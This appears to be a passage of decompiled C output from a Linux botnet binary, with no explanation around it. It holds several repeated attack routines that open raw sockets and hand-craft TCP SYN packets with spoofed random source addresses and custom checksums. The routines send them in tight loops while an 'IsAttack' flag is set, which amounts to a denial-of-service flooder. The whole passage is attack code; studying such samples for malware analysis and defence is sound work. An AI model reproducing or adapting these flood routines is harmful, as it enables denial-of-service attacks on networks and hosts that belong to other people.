  1988.     short unsigned int _t2327;
  1989.     signed int _t2342;
  1990.     signed int _t2379;
  1991.     signed int _t2380;
  1992.     signed int _t2381;
  1993.     signed int _t2387;
  1994.     signed int _t2388;
  1995.     signed int _t2389;
  1996.     signed int _t2393;
  1997.     signed int _t2397;
  1998.     signed int _t2398;
  1999.     signed int _t2399;
  2000.     signed int _t2405;
  2001.     signed int _t2406;
  2002.     signed int _t2407;
  2003.     signed int _t2413;
  2004.     signed int _t2414;
  2005.     signed int _t2415;
  2006.     signed int _t2419;
  2007.     signed int _t2423;
  2008.     signed int _t2424;
  2009.     signed int _t2425;
  2010.     signed int _t2457;
  2011.     _unknown_ _t2465;
  2012.     _unknown_ _t2473;
  2013.     _unknown_ _t2501;
  2014.     signed int _t2508;
  2015.     _unknown_ _t2545;
  2016.     _unknown_ _t2585;
  2017.     _unknown_ _t2593;
  2018.     _unknown_ _t2621;
  2019.     _unknown_ _t2665;
  2020.     _unknown_ _t2687;
  2021.     signed int* _t2688;
  2022.     signed int* _t2689;
  2023.     signed int* _t2690;
  2024.     signed int* _t2691;
  2025.     signed int* _t2692;
  2026.     _unknown_ _t2693;
  2027.  
  2028.     _push(_t2342);
  2029.     __esp = __esp - 692;
  2030.     L0806F910( &_v216, 156);
  2031.     L0806F9E0(_t2674, __esi,  &_v216, ThreadData, 156);
  2032.     _v58 = 2;
  2033.     _v696 = 16;
  2034.     _t1354 =  &_v636;
  2035.      *__esp = _t1354;
  2036.     L0806F910();
  2037.     _v692 = 6;
  2038.     L08073680(_t2342, __esp, 2, 3);
  2039.     _v56 = _t1354;
  2040.     _v636 = 2;
  2041.     _t1356 =  &((char*)( &_v216)[4]);
  2042.     L08075250(_t1356);
  2043.     _v52 = _t1356;
  2044.     if(_v52 != 0) {
  2045.         _t2198 = L0806E4D0( &((char*)( &_v216)[4]), "0.0.0.0");
  2046.         if(_t2198 == 0) {
  2047.         } else {
  2048.             _v48 = 0;
  2049.             _v48 = _v204;
  2050.             if(_v48 <= 0 || _v48 > 86400) {
  2051.                 _v48 = 20;
  2052.             }
  2053.             _v632 =  *( *(_v52[0x10]));
  2054.             _v44 = 20;
  2055.             _v40 =  &_v492;
  2056.             _v36 =  &_v492 + 20;
  2057.             _v32 =  &_v492 + 40;
  2058.              *_v40 =  *_v40 & 255 & 240 | 5;
  2059.              *_v40 =  *_v40 & 255 & 15 | 64;
  2060.              *(_v40 + 1) = 0;
  2061.              *(_v40 + 2) = 60;
  2062.              *__esp = 31337;
  2063.             _t2217 = L08075240(__esp);
  2064.              *((short*)(_v40 + 4)) = _t2217;
  2065.              *(_v40 + 6) = 0;
  2066.              *(_v40 + 8) = 250;
  2067.              *(_v40 + 9) = 6;
  2068.              *(_v40 + 10) = 0;
  2069.              *(_v40 + 16) = _v632;
  2070.              *__esp = _v72 & 65535;
  2071.             _t2226 = L08075240(__esp);
  2072.              *(_v36 + 2) = _t2226;
  2073.              *__esp = 31337;
  2074.             _t2228 = L08075230(__esp);
  2075.              *((intOrPtr*)(_v36 + 4)) = _t2228;
  2076.              *__esp = 0;
  2077.             _t2230 = L08075230(__esp);
  2078.              *((intOrPtr*)(_v36 + 8)) = _t2230;
  2079.              *(_v36 + 12) =  *(_v36 + 12) & 255 & 240;
  2080.              *(_v36 + 12) =  *(_v36 + 12) & 255 & 15 | 160;
  2081.              *(_v36 + 13) = _v58 & 65535;
  2082.              *__esp = 57344;
  2083.             _t2239 = L08075240(__esp);
  2084.              *((short*)(_v36 + 14)) = _t2239;
  2085.              *(_v36 + 16) = 0;
  2086.              *(_v36 + 18) = 0;
  2087.             if((_v44 & 3) != 0) {
  2088.                 _v44 = (_v44 + (_v44 >> 31 >> 30) & 3) - (_v44 >> 31 >> 30) + 1 << 2;
  2089.             }
  2090.             _v44 = 40;
  2091.             _v640 = 1;
  2092.             _v28 =  &_v640;
  2093.             _v684 = 4;
  2094.             _v688 = _v28;
  2095.             _v692 = 3;
  2096.             _v696 = 0;
  2097.             _t2247 = _v56;
  2098.              *__esp = _t2247;
  2099.             L08073640(_t2342, __esp);
  2100.             if(_t2247 >= 0) {
  2101.             } else {
  2102.                 _v24 = 0;
  2103.                 while(1) {
  2104.                     _t2248 = IsAttack;
  2105.                     if(_t2248 == 0) {
  2106.                         break;
  2107.                     }
  2108.                     _v20 = 0;
  2109.                     while(_v20 <= 999) {
  2110.                         L0805EBE0();
  2111.                         _t2423 = _t2248;
  2112.                         _v668 = -2147450879;
  2113.                         _v660 = ((_v668 * _t2423 >> 32) + _t2423 >> 15) - (_t2423 >> 31);
  2114.                         _v660 = _t2423 - (_v660 << 16) - _v660;
  2115.                          *__esp = _v660;
  2116.                         _t2258 = L08075230(__esp);
  2117.                         _t2259 = _v36;
  2118.                          *((intOrPtr*)(_t2259 + 4)) = _t2258;
  2119.                         L0805EBE0();
  2120.                         _t2424 = _t2259;
  2121.                         _v668 = -2147450879;
  2122.                         _v656 = ((_v668 * _t2424 >> 32) + _t2424 >> 15) - (_t2424 >> 31);
  2123.                         _v656 = _t2424 - (_v656 << 16) - _v656;
  2124.                          *__esp = _v656 & 65535 & 65535;
  2125.                         _t2270 = L08075240(__esp);
  2126.                         _t2271 = _v36;
  2127.                          *((short*)(_t2271 + 14)) = _t2270;
  2128.                         L0805EBE0();
  2129.                         _t2425 = _t2271;
  2130.                         _v668 = -2147450879;
  2131.                         _t2342 = ((_v668 * _t2425 >> 32) + _t2425 >> 15) - (_t2425 >> 31);
  2132.                         _v652 = _t2342;
  2133.                         _v652 = _t2425 - (_v652 << 16) - _v652;
  2134.                          *_v36 = _v652 & 65535;
  2135.                         _t2282 = _v64 - _v68;
  2136.                         _v16 = _t2282;
  2137.                         if(_v16 <= 0) {
  2138.                             goto L20;
  2139.                         } else {
  2140.                             L0805EBE0();
  2141.                             _v12 = _t2282 % _v16 + _v68;
  2142.                             L0806F850(_t2342, _t2674, __esi,  &_v236, 0, 20);
  2143.                             _t2342 = _v12 >> 16 & 255;
  2144.                             _v680 = _v12 & 255;
  2145.                             _v684 = _v12 >> 8 & 255;
  2146.                             _v688 = _t2342;
  2147.                             L0805FF50( &_v236, "%d.%d.%d.%d", _v12 >> 24);
  2148.                             _t2299 = L08073B40( &_v236);
  2149.                              *((intOrPtr*)(_v40 + 12)) = _t2299;
  2150.                             L0806F850(_t2342, _t2674, __esi,  &_v620, 0, 128);
  2151.                             L0806F9E0(_t2674, __esi,  &_v620, _v40 + 12, 4);
  2152.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v620)[2]), _v40 + 16, 4);
  2153.                             _v612 = 0;
  2154.                             _v611 =  *(_v40 + 9) & 255;
  2155.                             _v610 = _v44 >> 8;
  2156.                             _v609 = _v44;
  2157.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v620)[6]), _v36, 20);
  2158.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v620)[0x10]), _v32, 8);
  2159.                             _t2327 = csum( &_v620, _v44 + 12);
  2160.                              *(_v36 + 16) = _t2327;
  2161.                             _v680 = 16;
  2162.                             _v684 =  &_v636;
  2163.                             _v688 = 0;
  2164.                             _v692 =  *(_v40 + 2) & 65535 & 65535;
  2165.                             _t2248 = L08052C20(__esi, _v56,  &_v492);
  2166.                             _v20 = _v20 + 1;
  2167.                             continue;
  2168.                         }
  2169.                         goto L20;
  2170.                     }
  2171.                 }
  2172.             }
  2173.         }
  2174.     }
  2175. L20:
  2176.     L08052A50(_v56);
  2177.     _t1359 = L08051050();
  2178.     L08051000(_t1359);
  2179.      *__esp = 0;
  2180.     L08050FE0();
  2181.     goto L21;
  2182. L21:
  2183.     _push(_t2687);
  2184.     _t2688 = __esp;
  2185.     _push(_t2674);
  2186.     _push(__esi);
  2187.     _push(_t2342);
  2188.     __esp = __esp - 700;
  2189.     L0806F910( &_v924, 156);
  2190.     L0806F9E0(_t2674, __esi,  &_v924, _v696, 156);
  2191.     _v766 = 2;
  2192.     _v1412 = 16;
  2193.     _t1366 =  &_v1344;
  2194.      *__esp = _t1366;
  2195.     L0806F910();
  2196.     _v1408 = 6;
  2197.     L08073680(_t2342, __esp, 2, 3);
  2198.     _v764 = _t1366;
  2199.     _v1344 = 2;
  2200.     _t1368 =  &_v924 + 16;
  2201.     L08075250(_t1368);
  2202.     _v760 = _t1368;
  2203.     if(_v760 != 0) {
  2204.         _t2045 = L0806E4D0( &((char*)( &_v228)[4]), "0.0.0.0");
  2205.         if(_t2045 == 0) {
  2206.         } else {
  2207.             _v60 = 0;
  2208.             _v60 = _v216;
  2209.             if(_v60 <= 0 || _v60 > 86400) {
  2210.                 _v60 = 20;
  2211.             }
  2212.             _v644 =  *( *(_v64[0x10]));
  2213.             _v56 = 20;
  2214.             _v52 =  &_v504;
  2215.             _v48 =  &_v504 + 20;
  2216.             _v44 =  &_v504 + 40;
  2217.              *_v52 =  *_v52 & 255 & 240 | 5;
  2218.              *_v52 =  *_v52 & 255 & 15 | 64;
  2219.             (_v52[1]) = 0;
  2220.             (_v52[2]) = 60;
  2221.              *__esp = 31337;
  2222.             _t2064 = L08075240(__esp);
  2223.             (_v52[4]) = _t2064;
  2224.             (_v52[6]) = 0;
  2225.             (_v52[8]) = 250;
  2226.             (_v52[9]) = 6;
  2227.             (_v52[0xa]) = 0;
  2228.             (_v52[0x10]) = _v644;
  2229.              *__esp = _v84 & 65535;
  2230.             _t2073 = L08075240(__esp);
  2231.              *((short*)(_v48 + 2)) = _t2073;
  2232.              *__esp = 31337;
  2233.             _t2075 = L08075230(__esp);
  2234.              *((intOrPtr*)(_v48 + 4)) = _t2075;
  2235.              *__esp = 0;
  2236.             _t2077 = L08075230(__esp);
  2237.              *((intOrPtr*)(_v48 + 8)) = _t2077;
  2238.              *(_v48 + 12) =  *(_v48 + 12) & 255 & 240;
  2239.              *(_v48 + 12) =  *(_v48 + 12) & 255 & 15 | 160;
  2240.              *(_v48 + 13) = _v70 & 65535;
  2241.              *__esp = 57344;
  2242.             _t2086 = L08075240(__esp);
  2243.              *((short*)(_v48 + 14)) = _t2086;
  2244.              *(_v48 + 16) = 0;
  2245.              *(_v48 + 18) = 0;
  2246.             if((_v56 & 3) != 0) {
  2247.                 _v56 = (_v56 + (_v56 >> 31 >> 30) & 3) - (_v56 >> 31 >> 30) + 1 << 2;
  2248.             }
  2249.             _v56 = 40;
  2250.             _v652 = 1;
  2251.             _v40 =  &_v652;
  2252.             _v1400 = 4;
  2253.             _v1404 = _v40;
  2254.             _v1408 = 3;
  2255.             _v1412 = 0;
  2256.             _t2094 = _v68;
  2257.              *__esp = _t2094;
  2258.             L08073640(_t2342, __esp);
  2259.             if(_t2094 >= 0) {
  2260.             } else {
  2261.                 _v36 = 0;
  2262.                 while(1) {
  2263.                     _t2095 = IsAttack;
  2264.                     if(_t2095 == 0) {
  2265.                         break;
  2266.                     }
  2267.                     _v32 = 0;
  2268.                     while(_v32 <= 999) {
  2269.                         L0805EBE0();
  2270.                         _t2413 = _t2095;
  2271.                         _v684 = -2147450879;
  2272.                         _v676 = ((_v684 * _t2413 >> 32) + _t2413 >> 15) - (_t2413 >> 31);
  2273.                         _v676 = _t2413 - (_v676 << 16) - _v676;
  2274.                          *__esp = _v676;
  2275.                         _t2105 = L08075230(__esp);
  2276.                         _t2106 = _v48;
  2277.                          *((intOrPtr*)(_t2106 + 4)) = _t2105;
  2278.                         L0805EBE0();
  2279.                         _t2414 = _t2106;
  2280.                         _v684 = -2147450879;
  2281.                         _v672 = ((_v684 * _t2414 >> 32) + _t2414 >> 15) - (_t2414 >> 31);
  2282.                         _v672 = _t2414 - (_v672 << 16) - _v672;
  2283.                          *__esp = _v672 & 65535 & 65535;
  2284.                         _t2117 = L08075240(__esp);
  2285.                         _t2118 = _v48;
  2286.                          *((short*)(_t2118 + 14)) = _t2117;
  2287.                         L0805EBE0();
  2288.                         _t2415 = _t2118;
  2289.                         _v684 = -2147450879;
  2290.                         _t2342 = ((_v684 * _t2415 >> 32) + _t2415 >> 15) - (_t2415 >> 31);
  2291.                         _v668 = _t2342;
  2292.                         _t2674 = _t2415 - (_v668 << 16) - _v668;
  2293.                         _v668 = _t2674;
  2294.                          *_v48 = _v668 & 65535;
  2295.                         _t2129 = _v76 - _v80;
  2296.                         _v28 = _t2129;
  2297.                         if(_v28 <= 0) {
  2298.                             goto L41;
  2299.                         } else {
  2300.                             L0805EBE0();
  2301.                             _v24 = _t2129 % _v28 + _v80;
  2302.                             L0806F850(_t2342, _t2674, __esi,  &_v248, 0, 20);
  2303.                             _v1396 = _v24 & 255;
  2304.                             _v1400 = _v24 >> 8 & 255;
  2305.                             _v1404 = _v24 >> 16 & 255;
  2306.                             L0805FF50( &_v248, "%d.%d.%d.%d", _v24 >> 24);
  2307.                             _t2146 = L08073B40( &_v248);
  2308.                             (_v52[0xc]) = _t2146;
  2309.                             L0806F850(_v24 >> 16 & 255, _t2674, __esi,  &_v632, 0, 128);
  2310.                             L0806F9E0(_t2674, __esi,  &_v632,  &(_v52[0xc]), 4);
  2311.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v632)[2]),  &(_v52[0x10]), 4);
  2312.                             _v624 = 0;
  2313.                             _v623 = (_v52[9]) & 255;
  2314.                             _v622 = _v56 >> 8;
  2315.                             _v621 = _v56;
  2316.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v632)[6]), _v48, 20);
  2317.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v632)[0x10]), _v44, 8);
  2318.                             _t2174 = csum( &_v632, _v56 + 12);
  2319.                              *(_v48 + 16) = _t2174;
  2320.                             _t2342 =  &_v648;
  2321.                             _t2177 = (_v52[2]) & 65535;
  2322.                             __esi = _t2177 & 65535;
  2323.                             L0805EBE0();
  2324.                             _t2419 = _t2177;
  2325.                             _v684 = -1600085855;
  2326.                             _t2182 = _t2419 >> 31;
  2327.                             _t2674 = ((_v684 * _t2419 >> 32) + _t2419 >> 7) - _t2182;
  2328.                             _v664 = _t2674;
  2329.                             _v664 = _t2419 - _t2182 * _v664;
  2330.                             _v1396 = 16;
  2331.                             _v1400 = _t2342;
  2332.                             _v1404 = 0;
  2333.                             _v1408 = __esi + _v664 + 800;
  2334.                             _t2095 = L08052C20(__esi, _v68,  &_v504);
  2335.                             _v32 = _v32 + 1;
  2336.                             continue;
  2337.                         }
  2338.                         goto L41;
  2339.                     }
  2340.                 }
  2341.             }
  2342.         }
  2343.     }
  2344. L41:
  2345.     L08052A50(_v68);
  2346.     _t1371 = L08051050();
  2347.     L08051000(_t1371);
  2348.      *__esp = 0;
  2349.     L08050FE0();
  2350.     goto L42;
  2351. L42:
  2352.     _push(_t2688);
  2353.     _t2689 = __esp;
  2354.     _push(__esi);
  2355.     _push(_t2342);
  2356.     __esp = __esp - 704;
  2357.     L0806F910( &_v1648, 160);
  2358.     L0806F9E0(_t2674, __esi,  &_v1648, _v1412, 160);
  2359.     _v1486 = 2;
  2360.     _v2128 = 16;
  2361.     _t1378 =  &_v2068;
  2362.      *__esp = _t1378;
  2363.     L0806F910();
  2364.     _v2124 = 6;
  2365.     L08073680(_t2342, __esp, 2, 3);
  2366.     _v1484 = _t1378;
  2367.     _v2068 = 2;
  2368.     _v1480 = _v1636;
  2369.     if(_v1480 <= 60 || _v72 > 800) {
  2370.         _v72 = 61;
  2371.     }
  2372.     _v68 = _v72 - 60;
  2373.     _t1383 =  &_v240 + 20;
  2374.     L08075250(_t1383);
  2375.     _v64 = _t1383;
  2376.     if(_v64 != 0) {
  2377.         _t1896 = L0806E4D0( &_v240 + 20, "0.0.0.0");
  2378.         if(_t1896 == 0) {
  2379.         } else {
  2380.             _v60 = 0;
  2381.             _v60 = _v224;
  2382.             if(_v60 <= 0 || _v60 > 86400) {
  2383.                 _v60 = 20;
  2384.             }
  2385.             _v656 =  *( *(_v64[0x10]));
  2386.             _v56 = 20;
  2387.             _v52 =  &_v516;
  2388.             _v48 =  &_v516 + 20;
  2389.             _v44 =  &_v516 + 40;
  2390.              *_v52 =  *_v52 & 255 & 240 | 5;
  2391.              *_v52 =  *_v52 & 255 & 15 | 64;
  2392.             (_v52[1]) = 0;
  2393.             (_v52[2]) = 60;
  2394.              *__esp = 31337;
  2395.             _t1915 = L08075240(__esp);
  2396.             (_v52[4]) = _t1915;
  2397.             (_v52[6]) = 0;
  2398.             (_v52[8]) = 250;
  2399.             (_v52[9]) = 6;
  2400.             (_v52[0xa]) = 0;
  2401.             (_v52[0x10]) = _v656;
  2402.              *__esp = _v92 & 65535;
  2403.             _t1924 = L08075240(__esp);
  2404.              *((short*)(_v48 + 2)) = _t1924;
  2405.              *__esp = 31337;
  2406.             _t1926 = L08075230(__esp);
  2407.              *((intOrPtr*)(_v48 + 4)) = _t1926;
  2408.              *__esp = 0;
  2409.             _t1928 = L08075230(__esp);
  2410.              *((intOrPtr*)(_v48 + 8)) = _t1928;
  2411.              *(_v48 + 12) =  *(_v48 + 12) & 255 & 240;
  2412.              *(_v48 + 12) =  *(_v48 + 12) & 255 & 15 | 160;
  2413.              *(_v48 + 13) = _v78 & 65535;
  2414.              *__esp = 57344;
  2415.             _t1937 = L08075240(__esp);
  2416.              *((short*)(_v48 + 14)) = _t1937;
  2417.              *(_v48 + 16) = 0;
  2418.              *(_v48 + 18) = 0;
  2419.             if((_v56 & 3) != 0) {
  2420.                 _v56 = (_v56 + (_v56 >> 31 >> 30) & 3) - (_v56 >> 31 >> 30) + 1 << 2;
  2421.             }
  2422.             _v56 = 40;
  2423.             _v664 = 1;
  2424.             _v40 =  &_v664;
  2425.             _v2116 = 4;
  2426.             _v2120 = _v40;
  2427.             _v2124 = 3;
  2428.             _v2128 = 0;
  2429.             _t1945 = _v76;
  2430.              *__esp = _t1945;
  2431.             L08073640(_t2342, __esp);
  2432.             if(_t1945 >= 0) {
  2433.             } else {
  2434.                 _v36 = 0;
  2435.                 while(1) {
  2436.                     _t1946 = IsAttack;
  2437.                     if(_t1946 == 0) {
  2438.                         break;
  2439.                     }
  2440.                     _v32 = 0;
  2441.                     while(_v32 <= 999) {
  2442.                         L0805EBE0();
  2443.                         _t2405 = _t1946;
  2444.                         _v700 = -2147450879;
  2445.                         _v688 = ((_v700 * _t2405 >> 32) + _t2405 >> 15) - (_t2405 >> 31);
  2446.                         _v688 = _t2405 - (_v688 << 16) - _v688;
  2447.                          *__esp = _v688;
  2448.                         _t1956 = L08075230(__esp);
  2449.                         _t1957 = _v48;
  2450.                          *((intOrPtr*)(_t1957 + 4)) = _t1956;
  2451.                         L0805EBE0();
  2452.                         _t2406 = _t1957;
  2453.                         _v700 = -2147450879;
  2454.                         _v684 = ((_v700 * _t2406 >> 32) + _t2406 >> 15) - (_t2406 >> 31);
  2455.                         _v684 = _t2406 - (_v684 << 16) - _v684;
  2456.                          *__esp = _v684 & 65535 & 65535;
  2457.                         _t1968 = L08075240(__esp);
  2458.                         _t1969 = _v48;
  2459.                          *((short*)(_t1969 + 14)) = _t1968;
  2460.                         L0805EBE0();
  2461.                         _t2407 = _t1969;
  2462.                         _v700 = -2147450879;
  2463.                         _t2342 = ((_v700 * _t2407 >> 32) + _t2407 >> 15) - (_t2407 >> 31);
  2464.                         _v680 = _t2342;
  2465.                         _v680 = _t2407 - (_v680 << 16) - _v680;
  2466.                          *_v48 = _v680 & 65535;
  2467.                         _t1980 = _v84 - _v88;
  2468.                         _v28 = _t1980;
  2469.                         if(_v28 <= 0) {
  2470.                             goto L65;
  2471.                         } else {
  2472.                             L0805EBE0();
  2473.                             _v24 = _t1980 % _v28 + _v88;
  2474.                             L0806F850(_t2342, _t2674, __esi,  &_v260, 0, 20);
  2475.                             _v2112 = _v24 & 255;
  2476.                             _v2116 = _v24 >> 8 & 255;
  2477.                             _v2120 = _v24 >> 16 & 255;
  2478.                             L0805FF50( &_v260, "%d.%d.%d.%d", _v24 >> 24);
  2479.                             _t1997 = L08073B40( &_v260);
  2480.                             (_v52[0xc]) = _t1997;
  2481.                             L0806F850(_v24 >> 16 & 255, _t2674, __esi,  &_v644, 0, 128);
  2482.                             L0806F9E0(_t2674, __esi,  &_v644,  &(_v52[0xc]), 4);
  2483.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v644)[2]),  &(_v52[0x10]), 4);
  2484.                             _v636 = 0;
  2485.                             _v635 = (_v52[9]) & 255;
  2486.                             _v634 = _v56 >> 8;
  2487.                             _v633 = _v56;
  2488.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v644)[6]), _v48, 20);
  2489.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v644)[0x10]), _v44, 8);
  2490.                             _t2025 = csum( &_v644, _v56 + 12);
  2491.                              *(_v48 + 16) = _t2025;
  2492.                             __esi =  &_v660;
  2493.                             _t2028 = (_v52[2]) & 65535;
  2494.                             _t2342 = _t2028 & 65535;
  2495.                             L0805EBE0();
  2496.                             _v2112 = 16;
  2497.                             _v2116 = __esi;
  2498.                             _v2120 = 0;
  2499.                             _v2124 = _t2342 + _t2028 % _v68;
  2500.                             _t1946 = L08052C20(__esi, _v76,  &_v516);
  2501.                             _v32 = _v32 + 1;
  2502.                             continue;
  2503.                         }
  2504.                         goto L65;
  2505.                     }
  2506.                 }
  2507.             }
  2508.         }
  2509.     }
  2510. L65:
  2511.     L08052A50(_v76);
  2512.     _t1386 = L08051050();
  2513.     L08051000(_t1386);
  2514.      *__esp = 0;
  2515.     L08050FE0();
  2516.     goto L66;
  2517. L66:
  2518.     _push(_t2689);
  2519.     _t2690 = __esp;
  2520.     _push(_t2342);
  2521.     __esp = __esp - 692;
  2522.     L0806F910( &_v2348, 156);
  2523.     L0806F9E0(_t2674, __esi,  &_v2348, _v2128, 156);
  2524.     _v2190 = 16;
  2525.     _v2828 = 16;
  2526.     _t1393 =  &_v2768;
  2527.      *__esp = _t1393;
  2528.     L0806F910();
  2529.     _v2824 = 6;
  2530.     L08073680(_t2342, __esp, 2, 3);
  2531.     _v2188 = _t1393;
  2532.     _v2768 = 2;
  2533.     _t1395 =  &_v2348 + 16;
  2534.     L08075250(_t1395);
  2535.     _v2184 = _t1395;
  2536.     if(_v2184 != 0) {
  2537.         _t1750 = L0806E4D0( &((char*)( &_v228)[4]), "0.0.0.0");
  2538.         if(_t1750 == 0) {
  2539.         } else {
  2540.             _v60 = 0;
  2541.             _v60 = _v216;
  2542.             if(_v60 <= 0 || _v60 > 86400) {
  2543.                 _v60 = 20;
  2544.             }
  2545.             _v644 =  *( *(_v64[0x10]));
  2546.             _v56 = 20;
  2547.             _v52 =  &_v504;
  2548.             _v48 =  &_v504 + 20;
  2549.             _v44 =  &_v504 + 40;
  2550.              *_v52 =  *_v52 & 255 & 240 | 5;
  2551.              *_v52 =  *_v52 & 255 & 15 | 64;
  2552.             (_v52[1]) = 0;
  2553.             (_v52[2]) = 60;
  2554.              *__esp = 31337;
  2555.             _t1769 = L08075240(__esp);
  2556.             (_v52[4]) = _t1769;
  2557.             (_v52[6]) = 0;
  2558.             (_v52[8]) = 250;
  2559.             (_v52[9]) = 6;
  2560.             (_v52[0xa]) = 0;
  2561.             (_v52[0x10]) = _v644;
  2562.              *__esp = _v84 & 65535;
  2563.             _t1778 = L08075240(__esp);
  2564.              *((short*)(_v48 + 2)) = _t1778;
  2565.              *__esp = 31337;
  2566.             _t1780 = L08075230(__esp);
  2567.              *((intOrPtr*)(_v48 + 4)) = _t1780;
  2568.              *__esp = 0;
  2569.             _t1782 = L08075230(__esp);
  2570.              *((intOrPtr*)(_v48 + 8)) = _t1782;
  2571.              *(_v48 + 12) =  *(_v48 + 12) & 255 & 240;
  2572.              *(_v48 + 12) =  *(_v48 + 12) & 255 & 15 | 160;
  2573.              *(_v48 + 13) = _v70 & 65535;
  2574.              *__esp = 57344;
  2575.             _t1791 = L08075240(__esp);
  2576.              *((short*)(_v48 + 14)) = _t1791;
  2577.              *(_v48 + 16) = 0;
  2578.              *(_v48 + 18) = 0;
  2579.             if((_v56 & 3) != 0) {
  2580.                 _v56 = (_v56 + (_v56 >> 31 >> 30) & 3) - (_v56 >> 31 >> 30) + 1 << 2;
  2581.             }
  2582.             _v56 = 40;
  2583.             _v652 = 1;
  2584.             _v40 =  &_v652;
  2585.             _v2816 = 4;
  2586.             _v2820 = _v40;
  2587.             _v2824 = 3;
  2588.             _v2828 = 0;
  2589.             _t1799 = _v68;
  2590.              *__esp = _t1799;
  2591.             L08073640(_t2342, __esp);
  2592.             if(_t1799 >= 0) {
  2593.             } else {
  2594.                 _v36 = 0;
  2595.                 while(1) {
  2596.                     _t1800 = IsAttack;
  2597.                     if(_t1800 == 0) {
  2598.                         break;
  2599.                     }
  2600.                     _v32 = 0;
  2601.                     while(_v32 <= 999) {
  2602.                         L0805EBE0();
  2603.                         _t2397 = _t1800;
  2604.                         _v680 = -2147450879;
  2605.                         _v672 = ((_v680 * _t2397 >> 32) + _t2397 >> 15) - (_t2397 >> 31);
  2606.                         _v672 = _t2397 - (_v672 << 16) - _v672;
  2607.                          *__esp = _v672;
  2608.                         _t1810 = L08075230(__esp);
  2609.                         _t1811 = _v48;
  2610.                          *((intOrPtr*)(_t1811 + 4)) = _t1810;
  2611.                         L0805EBE0();
  2612.                         _t2398 = _t1811;
  2613.                         _v680 = -2147450879;
  2614.                         _v668 = ((_v680 * _t2398 >> 32) + _t2398 >> 15) - (_t2398 >> 31);
  2615.                         _v668 = _t2398 - (_v668 << 16) - _v668;
  2616.                          *__esp = _v668 & 65535 & 65535;
  2617.                         _t1822 = L08075240(__esp);
  2618.                         _t1823 = _v48;
  2619.                          *((short*)(_t1823 + 14)) = _t1822;
  2620.                         L0805EBE0();
  2621.                         _t2399 = _t1823;
  2622.                         _v680 = -2147450879;
  2623.                         _t2342 = ((_v680 * _t2399 >> 32) + _t2399 >> 15) - (_t2399 >> 31);
  2624.                         _v664 = _t2342;
  2625.                         _v664 = _t2399 - (_v664 << 16) - _v664;
  2626.                          *_v48 = _v664 & 65535;
  2627.                         _t1834 = _v76 - _v80;
  2628.                         _v28 = _t1834;
  2629.                         if(_v28 <= 0) {
  2630.                             goto L86;
  2631.                         } else {
  2632.                             L0805EBE0();
  2633.                             _v24 = _t1834 % _v28 + _v80;
  2634.                             L0806F850(_t2342, _t2674, __esi,  &_v248, 0, 20);
  2635.                             _t2342 = _v24 >> 16 & 255;
  2636.                             _v2812 = _v24 & 255;
  2637.                             _v2816 = _v24 >> 8 & 255;
  2638.                             _v2820 = _t2342;
  2639.                             L0805FF50( &_v248, "%d.%d.%d.%d", _v24 >> 24);
  2640.                             _t1851 = L08073B40( &_v248);
  2641.                             (_v52[0xc]) = _t1851;
  2642.                             L0806F850(_t2342, _t2674, __esi,  &_v632, 0, 128);
  2643.                             L0806F9E0(_t2674, __esi,  &_v632,  &(_v52[0xc]), 4);
  2644.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v632)[2]),  &(_v52[0x10]), 4);
  2645.                             _v624 = 0;
  2646.                             _v623 = (_v52[9]) & 255;
  2647.                             _v622 = _v56 >> 8;
  2648.                             _v621 = _v56;
  2649.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v632)[6]), _v48, 20);
  2650.                             L0806F9E0(_t2674, __esi,  &((char*)( &_v632)[0x10]), _v44, 8);
  2651.                             _t1879 = csum( &_v632, _v56 + 12);
  2652.                              *(_v48 + 16) = _t1879;
  2653.                             _v2812 = 16;
  2654.                             _v2816 =  &_v648;
  2655.                             _v2820 = 0;
  2656.                             _v2824 = (_v52[2]) & 65535 & 65535;
  2657.                             _t1800 = L08052C20(__esi, _v68,  &_v504);
  2658.                             _v32 = _v32 + 1;
  2659.                             continue;
  2660.                         }
  2661.                         goto L86;
  2662.                     }
  2663.                 }
  2664.             }
  2665.         }
  2666.     }
  2667. L86:
  2668.     L08052A50(_v68);
  2669.     _t1398 = L08051050();
  2670.     L08051000(_t1398);
  2671.      *__esp = 0;
  2672.     L08050FE0();
  2673.     goto L87;
  2674. L87:
  2675.     _push(_t2690);
  2676.     _t2691 = __esp;
  2677.     _push(_t2674);
  2678.     _push(__esi);
  2679.     _push(_t2342);
  2680.     __esp = __esp - 700;
  2681.     L0806F910( &_v3056, 156);
  2682.     L0806F9E0(_t2674, __esi,  &_v3056, _v2828, 156);
  2683.     _v2898 = 16;
  2684.     _v3544 = 16;
  2685.     _t1405 =  &_v3476;
  2686.      *__esp = _t1405;
  2687.     L0806F910();
  2688.     _v3540 = 6;
  2689.     L08073680(_t2342, __esp, 2, 3);
  2690.     _v2896 = _t1405;
  2691.     _v3476 = 2;
  2692.     _t1407 =  &_v3056 + 16;
  2693.     L08075250(_t1407);
  2694.     _v2892 = _t1407;
  2695.     if(_v2892 != 0) {
  2696.         _t1597 = L0806E4D0( &_v240 + 16, "0.0.0.0");
  2697.         if(_t1597 == 0) {
  2698.         } else {
  2699.             _v72 = 0;
  2700.             _v72 = _v228;
  2701.             if(_v72 <= 0 || _v72 > 86400) {
  2702.                 _v72 = 20;
  2703.             }
  2704.             _v656 =  *( *( *(_v76 + 16)));
  2705.             _v68 = 20;
  2706.             _v64 =  &_v516;
  2707.             _v60 =  &_v516 + 20;
  2708.             _v56 =  &_v516 + 40;
  2709.              *_v64 =  *_v64 & 255 & 240 | 5;
  2710.              *_v64 =  *_v64 & 255 & 15 | 64;
  2711.             (_v64[1]) = 0;
  2712.             (_v64[2]) = 60;
  2713.              *__esp = 31337;
  2714.             _t1616 = L08075240(__esp);
  2715.             (_v64[4]) = _t1616;
  2716.             (_v64[6]) = 0;
  2717.             (_v64[8]) = 250;
  2718.             (_v64[9]) = 6;
  2719.             (_v64[0xa]) = 0;
  2720.             (_v64[0x10]) = _v656;
  2721.              *__esp = _v96 & 65535;
  2722.             _t1625 = L08075240(__esp);
  2723.              *((short*)(_v60 + 2)) = _t1625;
